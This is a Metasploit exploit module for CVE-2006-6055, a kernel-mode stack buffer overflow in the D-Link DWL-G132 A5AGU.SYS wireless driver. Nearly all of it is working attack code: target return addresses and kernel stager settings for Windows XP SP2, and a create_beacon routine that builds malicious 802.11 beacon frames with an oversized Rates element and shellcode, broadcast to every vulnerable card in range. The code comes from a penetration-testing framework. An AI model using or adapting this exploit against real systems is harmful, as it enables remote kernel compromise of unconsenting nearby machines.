##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = LowRanking

  include Msf::Exploit::Lorcon2
  include Msf::Exploit::KernelMode

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'D-Link DWL-G132 Wireless Driver Beacon Rates Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in the A5AGU.SYS driver provided
        with the D-Link DWL-G132 USB wireless adapter. This stack buffer overflow
        allows remote code execution in kernel mode. The stack buffer overflow is triggered
        when a 802.11 Beacon frame is received that contains a long Rates information
        element. This exploit was tested with version 1.0.1.41 of the
        A5AGU.SYS driver and a D-Link DWL-G132 USB adapter (HW: A2, FW: 1.02). Newer
        versions of the A5AGU.SYS driver are provided with the D-Link WUA-2340
        adapter and appear to resolve this flaw, but D-Link does not offer an updated
        driver for the DWL-G132. Since this vulnerability is exploited via beacon frames,
        all cards within range of the attack will be affected. The tested adapter used
        a MAC address in the range of 00:11:95:f2:XX:XX.

        Vulnerable clients will need to have their card in a non-associated state
        for this exploit to work. The easiest way to reproduce this bug is by starting
        the exploit and then accessing the Windows wireless network browser and
        forcing it to refresh.

        D-Link was NOT contacted about this flaw. A search of the SecurityFocus
        database indicates that D-Link has not provided an official patch or
        solution for any of the seven flaws listed at the time of writing:
        (BIDs 13679, 16621, 16690, 18168, 18299, 19006, and 20689).

        As of November 17th, 2006, D-Link has fixed the flaw it the latest version of the
        DWL-G132 driver (v1.21).

        This module depends on the Lorcon2 library and only works on the Linux platform
        with a supported wireless card. Please see the Ruby Lorcon2 documentation
        (external/ruby-lorcon/README) for more information.
      },
      'Author'         =>
        [
          'hdm',	# discovery, exploit dev
          'skape', # windows kernel ninjitsu
          'Johnny Cache <johnnycsh [at] 802.11mercenary.net>' # making all of this possible
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2006-6055'],
          ['OSVDB', '30296'],
          ['URL', 'http://projects.info-pull.com/mokb/MOKB-13-11-2006.html'],
          ['URL', 'ftp://ftp.dlink.com/Wireless/dwlg132/Driver/DWLG132_driver_102.zip'],
        ],
      'Privileged'     => true,

      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },

      'Payload'        =>
        {
          # Its a beautiful day in the neighborhood...
          'Space'    => 1000
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # Windows XP SP2 with the latest updates
          # 5.1.2600.2622 (xpsp_sp2_gdr.050301-1519)
          [ 'Windows XP SP2 (5.1.2600.2122), A5AGU.sys 1.0.1.41',
            {
              'Ret'      => 0x8066662c, # jmp edi
              'Platform' => 'win',
              'Payload'  =>
              {
                'ExtendedOptions' =>
                {
                  'Stager'       => 'sud_syscall_hook',
                  'PrependUser'  => "\x81\xC4\x54\xF2\xFF\xFF", # add esp, -3500
                  'Recovery'     => 'idlethread_restart',
                  'KiIdleLoopAddress' => 0x804dbb27,
                }
              }
            }
          ],

          # Windows XP SP2 install media, no patches
          # 5.1.2600.2180 (xpsp_sp2_rtm_040803-2158)
          [ 'Windows XP SP2 (5.1.2600.2180), A5AGU.sys 1.0.1.41',
            {
              'Ret'      => 0x804f16eb, # jmp edi
              'Platform' => 'win',
              'Payload'  =>
              {
                'ExtendedOptions' =>
                {
                  'Stager'       => 'sud_syscall_hook',
                  'PrependUser'  => "\x81\xC4\x54\xF2\xFF\xFF", # add esp, -3500
                  'Recovery'     => 'idlethread_restart',
                  'KiIdleLoopAddress' => 0x804dc0c7,
                }
              }
            }
          ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Nov 13 2006'))

    register_options(
      [
        OptString.new('ADDR_DST', [ true,  "The MAC address to send this to",'FF:FF:FF:FF:FF:FF']),
        OptInt.new('RUNTIME', [ true,  "The number of seconds to run the attack", 60])
      ], self.class)
  end

  def exploit
    open_wifi

    stime = Time.now.to_i
    rtime = datastore['RUNTIME'].to_i
    count = 0

    print_status("Sending exploit beacons for #{datastore['RUNTIME']} seconds...")
    while (stime + rtime > Time.now.to_i)
      wifi.write(create_beacon)
      select(nil, nil, nil, 0.10) if (count % 100 == 0)

      count += 1

      # Exit if we get a session
      break if session_created?
    end

    print_status("Completed sending beacons.")
  end


#
# The following research was provided by Gil Dabah of ZERT
#
# The long rates field bug can be triggered three different ways (at least):
# 1) Send a single rates IE with valid rates up front and long data
# 2) Send a single rates IE field with valid rates, follow with IE type 0x32 with long data
# 3) Send two IE rates fields, with the second one containing the long data (this exploit)
#

  def create_beacon

    ssid   = rand_text_alphanumeric(6)
    bssid  = ("\x00" * 2) + rand_text(4)
    src    = ("\x90" * 4) + "\xeb\x2b"
    seq    = [rand(255)].pack('n')

    buff  =  rand_text(75)
    buff[0, 2]  = "\xeb\x49"
    buff[71, 4] = [target.ret].pack('V')

    frame =
      "\x80" +                      # type/subtype
      "\x00" +                      # flags
      "\x00\x00" +                  # duration
      eton(datastore['ADDR_DST']) + # dst
      src   +                       # src
      bssid +                       # bssid
      seq   +                       # seq
      rand_text(8) +      # timestamp value
      "\x64\x00" +                  # beacon interval
      "\x00\x05" +                  # capability flags

      # ssid tag
      "\x00" + ssid.length.chr + ssid +

      # supported rates
      "\x01" + "\x08" + "\x82\x84\x8b\x96\x0c\x18\x30\x48" +

      # current channel
      "\x03" + "\x01" + channel.chr +

      # eip was his name-o
      "\x01" + buff.length.chr + buff +

      payload.encoded

    return frame
  end

end